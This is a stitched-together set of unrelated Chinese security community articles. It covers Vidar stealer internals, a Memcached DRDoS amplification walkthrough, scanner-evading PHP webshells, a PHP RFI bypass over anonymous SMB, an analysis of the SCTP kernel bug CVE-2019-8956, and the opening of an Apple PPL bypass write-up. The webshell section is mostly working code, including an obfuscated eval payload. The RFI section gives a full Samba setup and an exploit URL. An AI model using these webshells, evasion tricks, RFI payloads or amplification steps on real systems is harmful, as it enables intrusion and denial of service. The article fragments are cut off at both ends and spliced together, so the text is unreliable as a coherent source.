* FrancoCoin
* JAXX
* Litecoin
* MultiDoge
* TerraCoin
* YACoin
* Zcash
当然，如果攻击者指定了其他文件夹，对受害者机器特定区域进行搜索，那么这个名单会持续增加下去。
## Grabber
介绍到现在，Grabber可以说是Vidar功能最复杂的模块，也是它在实现上与Arkei区别最大的部分。
首先，它会根据已下载的配置文件来选择是否启用Grabber模块。如果该选项被激活，那它将生成文件夹路径字符串并设置 **func_grabber**
何时被调用。
在分析到 **func_grabber** 时，现实比我想象的残酷一些：
看到这个，我的内心是拒绝的。我的脑海中已经大概想到了它是如何分配内存的。然而摆在我面前的的是所有恶意软件分析师都想挑战（或者根本不想遇到）的融合了多种技巧的恶意模块：
* 糟糕的情况突如其来
* 一个函数中又调用了另一个函数（就行俄罗斯套娃一样）
* 调用API
* 等等…
但实际上，它并没有预想中那么复杂。接下来我会举一个例子进行说明。
在下面的示例中，如果从C2下载的配置文件中存在“％APPDATA％”字符串。它将跳转进入该功能，并进行一系列验证，直到进入最重要的
**func_VidarSearchFile** 函数。
在不同的场景下，几乎都会执行以上过程。
以下是Grabber模块可能用到的目录：
* %ALL_DRIVES% ([GetDriveTypeA](https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-getdrivetypea) Necessary)
* %APPDATA%
* %C%
* %D%
* %DESKTOP%
* %DOCUMENTS%
* %DRIVE_FIXED%
* %DRIVE_REMOVABLE%
* %LOCALAPPDATA%
* %USERPROFILE%
## 屏幕截图
屏幕截图功能的实现很简单：
* 首先调用[GdiplusStartup](https://docs.microsoft.com/en-us/windows/desktop/api/gdiplusinit/nf-gdiplusinit-gdiplusstartup)函数来初始化Windows GDI +
* 接着调用[GetSystemMetrics](https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-getsystemmetrics)来代替GetDeviceCaps ，使用SM_CYSCREEN (1) 和SM_CXSCREEN (0)来获取屏幕高度的宽度。
然后使用一个DC对象来创建生成图像所需的兼容位图，通过选择兼容memory DC并使用Bit Block API函数来完成数据传输。完成这些操作后，将进入
**func_GdipSaveImageToFile** 函数。
最后从生成的位图中将数据复制到一个缓冲区中，在缓冲区中生成生成屏幕截图。
## 信息日志
在这部分中，我只对如何生成日志进行了分析，其他的是一些相关API的调用，通过设置断点跟踪，花一些时间，你也可以轻松的进行分析。
首先，它会说明这是哪个版本的Vidar。
如果你没有在日志文件中看到“Vidar”字符串，这意味着你分析的是之前的版本。
获取操作系统平台及版本时采用了很经典的组合，首先，使用[RegOpenKeyExA](https://docs.microsoft.com/en-us/windows/desktop/api/winreg/nf-winreg-regopenkeyexa)来获取注册表项的值。
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionProductName
接下来，会对运行的Windows环境为32位还是64位进行检测，该软件会通过[IsWow64Process](https://docs.microsoft.com/en-us/windows/desktop/api/wow64apiset/nf-wow64apiset-iswow64process)来检测自身是否运行在[WOW64](https://docs.microsoft.com/en-us/windows/desktop/api/wow64apiset/nf-wow64apiset-iswow64process) 下。
为了获得当前用户所使用屏幕的分辨率。将通过调用[CreateDCA](https://docs.microsoft.com/en-us/windows/desktop/api/wingdi/nf-wingdi-createdca)来为“Display”创建设备环境，并使用[GetDeviceCaps](https://docs.microsoft.com/en-us/windows/desktop/api/wingdi/nf-wingdi-getdevicecaps)来获取屏幕的长度和宽度。
这部分的源代码如下：
HDC hDC = CreateDCA("DISPLAY", NULL, NULL, NULL);
int width = GetDeviceCaps(hDC, HORZRES); // HORZRES = 0x8
int height = GetDeviceCaps(hDC, VERTRES); // VERTRES = 0x0A
继续进行分析,得到：
在下一部分，将继续针对Vidar的通信、Loader、Killing、管理面板等模块进行介绍，敬请期待… | 社区文章 |
作者：5t4rk
来源：[http://blog.csdn.net/microzone/article/details/79262549?from=timeline&isappinstalled=0](http://blog.csdn.net/microzone/article/details/79262549?from=timeline&isappinstalled=0)
#### 一、基础概念
*友情提醒：以下仅做技术研究，如有恶意利用，发起攻击，将自负法律后果
本次反射式拒绝服务攻击技术基于全球互联网分布式的Memcached服务器，需要储备一定得安全攻防知识，网络协议知识和python代码编程技术。希望在学习本篇文章知识前自行学习相关的基础知识，文章后面同时附有参考链接。
##### 关于Memcached系统
Memcached是一个自由开源的，高性能，分布式内存对象缓存系统。Memcached是以LiveJournal旗下Danga
Interactive公司的Brad
Fitzpatric为首开发的一款软件。现在已成为mixi、hatena、Facebook、Vox、LiveJournal等众多服务中提高Web应用扩展性的重要因素。Memcached是一种基于内存的key-value存储，用来存储小块的任意数据（字符串、对象）。这些数据可以是数据库调用、API调用或者是页面渲染的结果。Memcached简洁而强大。它的简洁设计便于快速开发，减轻开发难度，解决了大数据量缓存的很多问题。它的API兼容大部分流行的开发语言。本质上，它是一个简洁的key-value存储系统。一般的使用目的是，通过缓存数据库查询结果，减少数据库访问次数，以提高动态Web应用的速度、提高可扩展性。
##### 关于分布式DDoS原理
分布式拒绝服务(DDoS:Distributed Denial of
Service)攻击指借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动DDoS攻击，从而成倍地提高拒绝服务攻击的威力。通常，攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上，在一个设定的时间主控程序将与大量代理程序通讯，代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术，主控程序能在几秒钟内激活成百上千次代理程序的运行。
##### 关于反射式DRDoS原理
DRDoS是英文“Distributed Reflection Denial of Service
”的缩写，中文意思是“分布式反射拒绝服务”。与DoS、DDoS不同，该方式靠的是发送大量带有被害者IP地址的数据包给攻击主机，然后攻击主机对IP地址源做出大量回应，形成拒绝服务攻击。
#### 二、攻击流程
##### DDoS攻击流程
要完成这个攻击流程，得至少需要三个步骤。
1. 攻击者手里必须控制大量肉鸡机器，并且分布式在互联互通分布在互联上。
2. 攻击者随时可以通过代理或者控制程序同时向所有肉鸡发送大量攻击指令。
3. 所有肉鸡在接受指令后，同时大量并发，同时向受害者网络或者主机发起攻击行为。
##### DRDoS攻击流程
DRDoS要完成一次反射放大攻击：
1. 攻击者，必须提前需要把攻击数据存放在所有的在线肉鸡或者反射服务器之上。
2. 攻击者，必须伪造IP源头。发送海量伪造IP来源的请求。当然这里的IP就是受害者的IP地址。
3. 反射服务器，必须可以反射数据，运行良好稳定。最好是请求数据少，返回数据成万倍增加。
如此不断循环，就可以大规模攻击其带宽网络，增加占用率和耗损目标机的硬件资源。
利用Memcached实现的DRDos攻击反射流程
#### 三、存活机器
首先我们要找到大量反射服务器，利用搜索引擎去发掘全球可利用在线服务器。这里我暂时用zoomeye进行搜集，你也可以用别的搜索引擎，比如shodan等。默认开启端口号是11211,利用知道创宇得钟馗之眼空间引擎搜索到全球538317台机器开启11211端口，运行着Memcached缓存服务系统。但是利用条件还有一个，就是我们还得进一步筛选确认是否开启默认可以登录的机器，这样就可以被我们所利用了。有些已经设置了安全认证，那么就无法使用了。（这里就不公布了）
#### 四、通信协议
从协议看，memcache同时监听tcp和udp。也就是说它本身支持两种协议同时可以发起交互和通信。这个就很关键了。大家可以看看tcp和udp协议区别。由于TCP是字节流，没有包的边界，无所谓大小，一次发送接受的数据取决于实现以及你的发送接收缓存大小。
TCP没有限定，TCP包头中就没有“包长度”字段，而完全依靠IP层去处理分帧。
但是UDP协议就不一样了，他不基于连接，直接发送数据报到目标机器。
注意这个Length字段，只占有两个字节。所以说UDP协议发送数据就有了限制，单次最大发送2^16=65535=64KB。
如果想要发送更大数据包，那么只能使用TCP协议或者UDP多次发送来实现，这里我已经测试过，两种协议均可以实现。
小结：
1. TCP面向连接（如打电话要先拨号建立连接）;UDP是无连接的，即发送数据之前不需要建立连接。
2. TCP提供可靠的服务。也就是说，通过TCP连接传送的数据，无差错，不丢失，不重复，且按序到达;UDP尽最大努力交 付，即不保证可靠交付。
3. TCP面向字节流，实际上是TCP把数据看成一连串无结构的字节流;UDP是面向报文的。UDP没有拥塞控制，因此网络出 现拥塞不会使源主机的发送速率降低（对实时应用很有用，如IP电话，实时视频会议等）。
4. 每一条TCP连接只能是点到点的;UDP支持一对一，一对多，多对一和多对多的交互通信。
5. TCP首部开销20字节;UDP的首部开销小，只有8个字节。
6. TCP的逻辑通信信道是全双工的可靠信道，UDP则是不可靠信道。
好了，明白了这个，我们就看看怎么利用基于TCP和UDP协议通信的Memcached缓存系统。由于Memcached系统支持最大键值单数据对1M存储。所以我们最大只能存储1M，当然你可以作多个字段，这样也会放大。那首先按照流程图我们向远程服务器提前存储有效载荷，这里就是数据了。利用TCP协议可以一次性发1M，但是我们要是利用UDP就得循环发送多次才能完成1M数据传输。由于UDP具有不稳定性，数据包不保证可靠交付。这里我建议使用TCP进行发送。
#### 五、数据格式
Memcached简洁而强大。它的简洁设计便于快速开发，减轻开发难度，解决了大数据量缓存的很多问题。它的API兼容大部分流行的开发语言。本质上，它是一个简洁的key-value存储系统。
一般的使用目的是，通过缓存数据库查询结果，减少数据库访问次数，以提高动态Web应用的速度、提高可扩展性。
支持有如下所有命令和操作。
**Memcached 存储命令**
Memcached set 命令
Memcached add 命令
Memcached replace 命令
Memcached append 命令
Memcached prepend 命令
Memcached CAS 命令
**Memcached 查找命令**
Memcached get 命令
Memcached gets 命令
Memcached delete 命令
Memcached incr/decr 命令
**Memcached 统计命令**
Memcached stats 命令
Memcached stats items 命令
Memcached stats slabs 命令
Memcached stats sizes 命令
Memcached flush_all 命令
这里我们重点介绍三种命令，因为我们的攻击流程中将会涉及了这三种方式。
第一个是上传有效载荷Memcached set 命令
Memcached set 命令用于将 **value(数据值)** 存储在指定的 **key(键)** 中。
如果set的key已经存在，该命令可以更新该key所对应的原来的数据，也就是实现更新的作用。
set 命令的基本语法格式如下：
set key flags exptime bytes [noreply]
value
参数说明如下：
key：键值 key-value 结构中的 key，用于查找缓存值。
flags：可以包括键值对的整型参数，客户机使用它存储关于键值对的额外信息 。
exptime：在缓存中保存键值对的时间长度（以秒为单位，0 表示永远）
bytes：在缓存中存储的字节数
noreply（可选）： 该参数告知服务器不需要返回数据
value：存储的值（始终位于第二行）（可直接理解为key-value结构中的value）
第二个反射有效载荷Memcached get 命令
Memcached get 命令获取存储在 **key(键)** 中的 **value(数据值)** ，如果 key 不存在，则返回空。
get 命令的基本语法格式如下：
get key
多个 key 使用空格隔开，如下:
get key1 key2 key3
参数说明如下：
key：键值 key-value 结构中的 key，用于查找缓存值。
第三个是退出远程服务器。quit\r\n命令即可，没有任何参数，注意要有回车换行。
#### 六、攻击步骤
##### 自动化上传有效载荷
到了这里，我们接下来就是如何利用这个过程实现DRDoS反射拒绝服务攻击。
思路是这样的：我们先批量上传指定数据到远程开放服务器Memcached上面，然后我们再去Memcached服务器请求查询数据上一步存储的数据，（这一步很关键，我们只能利用UDP协议进行反射，后面说明一下为什么。）这样就可以将数据通过Memcached服务器反射到目标受害机器上了。这里我们可以自己手动编写程序实现批量自动化上传有效载荷到远程服务器，等待上传完了我们就可以进行UDP反射攻击了。
这里我用python脚本完成payload数据上传。
代码就不公布了，防止非法利用。直接输出测试结果。
输出结果
##### 自动化反射有效载荷
这里得注意一下，上面的自动化上传我使用了TCP协议发送数据包，反射我必须使用UDP协议。因为只有UDP协议是基于无连接的，这样我们直接发送数据到目标服务器，不需要进行三次握手。同时服务器接收方也无法验证客户源IP，因此这个过程我们才可以利用UDP伪造源地址，实现反射DRDoS攻击过程。
利用socket和scapy库开发，采用多线程进行循环请求。（特别注意UDP协议使用的时候，每个操作命令必须都要添加数据包结构要加头部8字节标志位，
"\x00\x00\x00\x00\x00\x01\x00\x00"）
这里使用python脚本完成反射攻击。
代码就不公布了，防止非法利用。直接输出测试结果。
输出，可以实现
测试wireshark抓包
这里不妨可以进行一个大概理论计算
比如单台服务器我们虽然只发送的攻击指令只有二十个字节数据，但却可以返回1M数据。1M/20=5W（5万倍放大率），这可谓四两拨千斤。假设理想状况下我们现在手里有50W可用机器，那么我们的DRDoS理论值数值将会达到约50W*1M=500GB。大家想想这个是多么恐怖的带宽和数据。现在目前国内能够抵御短时间发起这么大的DDoS攻击的，几乎没有。比如去年攻击阿里云超过14小时,峰值流量达到453.8G。而DRDos可以只需要一分钟就能实现高达500G流量，这将是多么可怕的事情，多大的灾难。
#### 七、总结体会
关于这项DRDoS技术经过几天摸索研究也算已经了解清楚了，但是测试中发现有的网络环境里面会被一些路由器纠正源地址，使得反射攻击失败。究其原因是因为其增加的uRPF机制，（Unicast
Reverse Path
Forwarding是一种单播反向路由查找技术，用于防止基于源地址欺骗的网络攻击行为。）重新修复了UDP源地址伪造。不过有些环境中没有这种机制的，那么我们就可以利用此方法实现攻击。在这里分享给大家，希望可以有人继续深入分析和钻研，其中涉及利用的思路和技巧也可学习学习。比如说利用其免费的互联网存储资源，将你的数据源进行分布式存储，当做你的分布式私密云盘。
友情提醒：以上仅做技术研究，如有恶意利用，发起攻击，将自负法律后果
#### 八、参考学习
<http://memcached.org>
<http://www.runoob.com/memcached/memcached-tutorial.html>
<https://baike.baidu.com/item/DRDoS/9222989?fr=aladdin>
<http://artur.ejsmont.org/blog/content/memcache-over-udp-transport-protocol-is-not-really-so-cool>
<https://github.com/memcached/memcached/blob/master/doc/protocol.txt>
[https://baike.baidu.com/item/%E5%88%86%E5%B8%83%E5%BC%8F%E6%8B%92%E7%BB%9D%E6%9C%8D
%E5%8A%A1%E6%94%BB%E5%87%BB/3802159?fr=aladdin&fromid=444572&fromtitle=DDOS](https://baike.baidu.com/item/%E5%88%86%E5%B8%83%E5%BC%8F%E6%8B%92%E7%BB%9D%E6%9C%8D
%E5%8A%A1%E6%94%BB%E5%87%BB/3802159?fr=aladdin&fromid=444572&fromtitle=DDOS)
* * * | 社区文章 |
# 回调函数绕过D盾小套路
>
> 最近略看表哥和是师傅们的文章，听说D盾把所有回调函数都拉黑了，存在回调函数就报可疑。今天我将给大家带来几种消除这个可疑的几种方法和思路，供大家参考。大家可以根据思路自行修改。
常见的回调函数如下：
call_user_func_array()
call_user_func()
array_udiff()
array_filter()
array_walk()
array_map()
array_reduce()
array_walk_recursive()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
接下来我就随机选择一个回调函数简单构造一些免杀马吧。那就直接选择上述第一个call_user_func_array()函数吧，这个函数的作用是调用回调函数，并把一个数组参数作为回调函数的参数，使用说明如下：
call_user_func_array ( callable $callback , array $param_arr ) : mixed
把第一个参数作为回调函数（`callback`）调用，把参数数组作（`param_arr`）为回调函数的的参数传入。
因此首先我就随便写了一个简单的木马如下：
<?php
call_user_func_array('assert', array($_POST['a']));
?>
使用最新版本的D盾查杀如下，报了4级可疑：
好了，已经正确表明D盾把回调函数call_user_func_array拉黑了，接下来将是我的重点，介绍如何绕过这种检测。
## 混淆加密绕过
关于这个混淆加密绕过，我用了一种十分古老的工具"微盾php脚本加密专家"混淆加密，因为方便，哈哈，大家也可以自行混淆加密。直接将我上诉第一次写的D盾报了4级可疑的代码
<?php
call_user_func_array('assert', array($_POST['a']));
?>
进行混淆加密过后得到了如下结果：成功绕过D盾
<?php // This file is protected by copyright law & provided under license. Copyright(C) 2005-2009 www.vidun.com, All rights reserved.
$OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=128;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMjYwKTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ0VudGVyeW91d2toUkhZS05XT1VUQWFCYkNjRGRGZkdnSWlKakxsTW1QcFFxU3NWdlh4WnowMTIzNDU2Nzg5Ky89JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
kr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXPkr9NTzEXHenNHtILT08XT08XHr8XhtONTznNTzEXHr8Pkr8XHenNHr8XHtXLT08XHr8XHeEXhUXmOB50cbk5d3a3D2iUUylRTlfNaaOnCAkJW2YrcrcMO2fkDApQToxYdanXAbyTF1c2BuiDGjExHjH0YTC3KeLqRz0mRtfnWLYrOAcuUrlhU0xYTL9WAakTayaBa1icBMyJC2OlcMfPDBpqdo1Vd3nxFmY0fbc3Gul6HerZHzW1YjF4KUSvkZLphUL7cMYSd3YlhtONHeEXTznNHeEpK2a2CBXPkr9NHenNHenNHtL7eWpMfB5jfolvdJn2HeyjCB5vhtl7eWpZcbO1FM4ICbYzcbk0KX0hgW0hC2ySdy91F2aZb2c1dMYgCbkZCbLPfjExC2yVdZIpRoyZFMy5htOgAr9TaySmCUffhUL7eWP=
木马使用方法：
密码：a
扫描结果如下：
## `&&`绕过
使用`&&`符号将所有代码放到同一行来执行
<?php
($a = 'assert')&&($b = $_POST['a'])&&call_user_func_array($a, array($b));
?>
简单解释：同一行代码使用&&符号连接是按照从左到右的顺序执行的，所以首先将assert赋值给变量$a，然后将从客户端post过来的参数赋值给变量$b，再使用回调函数调用assert函数，执行从客户端post过来的数据。
木马使用方法：
密码：a
成功绕过，D盾扫描结果如下：
## 命名空间绕过
这个就更简单了，直接在回调函数前加上命名空间反斜杠`\`即可成功绕过。
绕过代码如下：
<?php
\call_user_func_array('assert', array($_POST['a']));
?>
D盾扫描结果如下：
木马使用方法：
密码：a
## 函数绕过
随便写个函数，将回调函数藏到函数里面去，将代码执行函数和post的参数通过参数传给函数，即可成功绕过，绕过代码如下：
<?php
function v01cano($aaa,$bbb){
call_user_func_array($aaa, $bbb);
}
v01cano('assert',array($_POST['a']));
?>
这样也能绕？这也太假了吧。
木马使用方法：
密码：a
D盾扫描结果如下：
当然也可以将回调函数放在类里面，个人认为这与放在函数里面相似，所以不在赘述了。
## 自写加密函数绕过
这个可能比前面的会略微复杂一点点，因为这里我的代码执行函数assert直接传入回调函数被D盾识别了，所以我就需要隐藏assert，隐藏方法太多了，下面我就自己写了个仿射变换隐藏一下assert。
<?php
function encode($para0){
$m=strtolower($para0);
$a = 7;
$b = 21;
$c = "";
for($i=0;$i<strlen($m);$i++)
{
$c=$c.chr((((ord(substr($m,$i,1))-97)*$a+$b)%26)+97);
}
return $c;
}
$a = $_POST['a'];
call_user_func_array(encode('xhhfsw'), array($a));
?>
自己随便写了个函数就绕过了。
木马使用方法：
密码：a
D盾检测结果如下：
## 三元运算符绕过
当我随手写下如下木马时：
<?php
$a=$_GET['a'];
$b=$_POST['a'];
call_user_func_array($a, array($b));
?>
D盾报了二级可疑，可疑原因如下：
他竟然做了简单的替换，将我的变量$a的值直接替换到了回调函数中，所以报了可疑，这就太有趣了，我想看看D盾会不会稍微复杂的运算，我猜它不会，于是我就写下了三元运算符：成功绕过D盾。
<?php
$a=$_GET['a'];
$b=$_POST['a'];
call_user_func_array($a==$a?$a:$a, array($b));
?>
木马使用方法：
url?a=assert
密码：a
D盾检测结果如下：
## 垂直制表符绕过
随意选择一个转义符绕过，这里选择了垂直制表符。
<?php
$b=$_POST['a'];
$a="\x0Bassert";
call_user_func_array(trim($a), array($b));
?>
使用垂直制表符最后要记得使用trim或者其他函数将空格去除即可。
D盾扫描结果如下：
我就简单介绍到这里吧，仅仅提供一些思路和方法给大家，其实方法太多太多了，还能继续写，静态查杀的弊端已经越来越凸显了，让我们一起向动态查杀进攻吧。其实我感觉D盾也不是纯静态的查杀吧，毕竟在上述绕过的过程中大家也看到了，D盾也能够获取一些变量的值，做简单的运算，代换，只是不会做复杂的运算和代换而已。最后希望D盾能够向动态查杀进攻，查杀效果能够越来越强大。 | 社区文章 |
**作者：启明星辰ADLab**
**公众号：<https://mp.weixin.qq.com/s/enoWQh1yo0Qjzck3ZzwidA>**
## 一、 漏洞背景
Linux 内核 SCTP 协议实现中存在一个安全漏洞 CVE-2019-8956（CNVD-2019-06182、CNNVD-201902-823
），可以导致拒绝服务。该漏洞存在于`net/sctp/socket.c`中的`sctp_sendmsg()`函数，该函数在处理 SENDALL
标志操作过程时存在`use-after-free`漏洞。
## 二、 SCTP协议简介
流控制传输协议（Stream Control Transmission
Protocol，SCTP）是一种可靠的传输协议，它在两个端点之间提供稳定、有序的数据传递服务（非常类似于 TCP），并且可以保护数据消息边界（例如
UDP）。与 TCP 和 UDP 不同，SCTP 是通过多宿主（Multi-homing）和多流（Multi-streaming）功能提供这些收益的，这两种功能均可提高可用性。
多宿主（Multi-homing）为应用程序提供了比 TCP 更高的可用性。多宿主主机就是一台具有多个网络接口的主机，因此可以通过多个 IP
地址来访问这台主机。在 TCP 中，连接（connection）
是指两个端点之间的一个通道（在这种情况下，就是两台主机的网络接口之间的一个套接字）。SCTP
引入了“联合（association）”的概念，它也是存在于两台主机之间，但可以使用每台主机上的多个接口进行协作。
## 三、 漏洞原理
漏洞补丁代码如下，补丁代码将`list_for_each_entry`换成了`list_for_each_entry_safe`。
宏定义`list_for_each_entry`功能是遍历`ep->asocs`链表中的`asoc`节点。宏定义`list_for_each_entry`和`list_for_each_entry_safe`如下所示：
宏定义`list_for_each_entry_safe`中添加了一个 n，该 n 用来存放 pos
指向的节点的下一个节点位置。使用该宏可以对链表进行删除操作。
下面对`sctp_sendmsg`函数调用链进行分析。`sctp_sendmsg`是基于 SCTP 协议的`sendmsg`类型函数，用于发送 SCTP
数据包。关键实现如下：
行 2038，从`msg`中解析出`sinfo`；行 2043，获取到`sflags`。
行
2055，判断`sflags`是否为`SCTP_SENDALL`。如果存在，进入`list_for_each_entry`循环中，依次遍历`ep->asocs`链表。这里的`asocs`就是存放多个
association 连接的链表。`SCTP_SENDALL`标志代表向`asocs`链表中的所有 association
连接发送数据包。所以`asocs`链表中至少要存在一个 association
节点。进入`sctp_sendmsg_check_sflags`函数后，该函数实现如下：
首先，检查`asoc`是否处于 CLOSED 状态，检查`asoc`是否处于监听状态，检查`asoc` 是否 shutdown。
接下来，检查`sflags`是否为`SCTP_ABORT`，根据 rfc 文档可知 ABORT 的用法以及 ABORT
指令的数据包格式。`SCTP_ABORT`标志代表中止一个 association 连接，这个也是导致漏洞的关键。
行 1863，`sctp_make_abort_user`构造 ABORT 指令的 chunk；行
1868，调用`sctp_primitive_ABORT`发送中止一个 association 的 chunk。
通过调试可知调用`sctp_sf_do_9_1_prm_abort`函数进行 ABORT 操作，该函数将会进行如下操作：
添加一条删除`asoc`的
commands，然后返回`SCTP_DISPOSITION_ABORT`。正常返回，继续分析，返回到`sctp_do_sm`函数中。
行 1188 正常返回后，行 1191 调用`sctp_side_effects`函数根据状态机对应的状态进行操作。
行 1246，将`asoc`置空，ABORT 标志代表中止一个 association
操作结束。从`sctp_sendmsg_check_sflags`函数返回到`sctp_sendmsg`函数中，宏`list_for_each_entry`循环中遍历获取第一个`asoc`节点时，进入`sctp_sendmsg_check_sflags`函数将第一个`asoc`置空，然后再进行遍历后面节点时，就发生了零地址引用导致漏洞发生。
## 四、漏洞复现
将`sflags`设置成 SENDALL |
ABORT，保证进入`list_for_each_entry`循环和`sctp_sendmsg_check_sflags()`函数即可。在 4.20
内核下验证如下。由于该漏洞是`NULL-PTR deref`，即是零地址解引用，无法进一步利用。
## 五、 漏洞修复建议
该漏洞影响 Linux Kernel 4.19.x 和 4.20.x，建议更新到 version 4.20.8 或4.19.21。
补丁链接如下： https://git.kernel.org/linus/ba59fb0273076637f0add4311faa990a5eec27c0
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员，“黑雀攻击”概念首推者。截止目前，ADLab已通过CVE累计发布安全漏洞近1000个，通过
CNVD/CNNVD累计发布安全漏洞近500个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
文章来源：<http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html>
* * *
### 前言
这篇文章我将演示利用远程文件包含（RFI）漏洞的一些技术，用于演示的PHP程序设置为易受"文件包含攻击"。我们的PHP环境配置为不允许从远端HTTP/FTP
URL包含文件，但我仍可以绕过远程URL包含的限制，实施利用RFI。
### PHP与SMB共享文件权限
PHP配置文件默认设置"allow_url_include"为"Off"，限制PHP从远程加载HTTP/FTP
URLs，这有效地防止了远程文件包含攻击。但是，即使PHP的"allow_url_include" 和 "allow_url_fopen"
都设置为“Off”，SMB URL也可以加载。通过滥用PHP的这个特性，可以实现从远程主机的SMB共享中加载 PHP webshell。
### 攻击概述
如果存在缺陷的PHP程序要从攻击者控制的SMB共享加载PHP
webshell，SMB共享应当赋予访问该文件的权限。攻击者需配置开启SMB服务器的匿名访问。配置后程序如要访问SMB共享中的webshell，SMB服务器将不会要求提供凭据，从而成功包含webshell。
### PHP环境设置
受害者机器应当配置"allow_url_include" 和 "allow_url_fopen" 为“Off”，我使用的PHP版本为"5.5.11"：
在正式开始之前，确认代码的确不允许通过HTTP从远程主机读取webshell：
程序抛出错误，尝试RFI失败。
### 开启SAMBA服务器匿名读取权限（Linux环境）
先安装SAMBA服务器：
apt-get install samba
创建SMB共享目录：
mkdir /var/www/html/pub/
赋予新创建的SMB共享目录权限：
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
移除SAMBA服务器的默认配置文件内容：
echo > /etc/samba/smb.conf
把下面的内容填充到'/etc/samba/smb.conf' ：
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
重启SAMBA服务器使/etc/samba/smb.conf 的新配置生效：
service smbd restart
重启后，（使用局域网中的另一台主机）尝试访问SMB共享，确认SAMBA服务器不会要求提供凭据。在本例中，SAMBA服务器IP为：192.168.0.3，如需在windows中访问SMB，我需输入：
`\\192.168.0.3\`
### 添加PHP webshell
OK，我们可以访问SMB共享，即"ica"文件夹。
SMB共享的"ica"目录的真实地址为"/var/www/html/pub"，上传一个webshell：
访问`\\192.168.0.3\ica\`，可以看到马子：
### 演示
使用包含wenshell的SMB链接作为远程包含的URL：
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php
Duang！成功绕过PHP远程文件包含的限制。 | 社区文章 |
# Bypass Apple内核PPL
##### 译文声明
本文是翻译文章，文章原作者 googleprojectzero，文章来源：googleprojectzero.blogspot.com
原文地址：<https://googleprojectzero.blogspot.com/2020/07/the-core-of-apple-is-ppl-breaking-xnu.html>
译文仅供参考，具体内容表达以及含义原文为准。
在研究单字节利用技术时，我认为有几种方法在获取内核读/写或攻破PAC之前仅使用一个物理地址映射原语就可能绕过Apple的PPL(Page
Protection
Layer),考虑到PPL比XNU内核的其他部分拥有更高的权限，在XNU“之前”泄露PPL的想法很有吸引力。但最后，我还是无法想出仅使用物理映射原语来突破PPL的方法。
PPL的目标是防止攻击者修改进程的可执行代码或页表，即使是在获取内核读/写/执行特权之后。它通过利用APRR创建保护页表的“kernel inside
the kernel”来实现这一点。在正常的内核执行期间，页表和页表数据是只读的，修改页表的代码是不可执行的;内核修改页表的唯一方法是通过调用“PPL
routine”进入PPL，这类似于从XNU到PPL的syscall。这样就限制了进入内核代码的入口点，这些入口点仅可以修改那些PPL
routine的页表。
我考虑了几种使用单字节技术的物理映射原语来Bypass
PPL的想法，包括直接映射页表、映射DART以允许从协处理器修改物理内存，不幸的是，这些想法都没有成功。
但是，这不是Project
Zero的作风，所以，在我对设计缺陷进行了彻底的搜索之后，我又回到了内存破坏技术上。可以肯定的是，在IDA中反编译几个PPL函数就足以找到一些内存破坏。
pmap_remove_options_internal()函数是一个PPL routine，是从XNU内核到拥有更高权限PPL的“PPL
syscalls”之一。它是通过调用XNU中的pmap_remove_options()来调用的，然后在PPL中调用pmap_remove_options_internal()。它的目的是从进程的物理内存映射(pmap)中unmap所提供的虚拟地址范围。
MARK_AS_PMAP_TEXT static int
pmap_remove_options_internal(
pmap_t pmap,
vm_map_address_t start,
vm_map_address_t end,
int options)
删除映射提供虚拟地址范围的转换表条目（TTEs）的实际工作是通过调用pmap_remove_range_options（）来完成的，该方法获取指向TTE起始和结束范围的指针，以便从L3转换表中删除。
static int
pmap_remove_range_options(
pmap_t pmap,
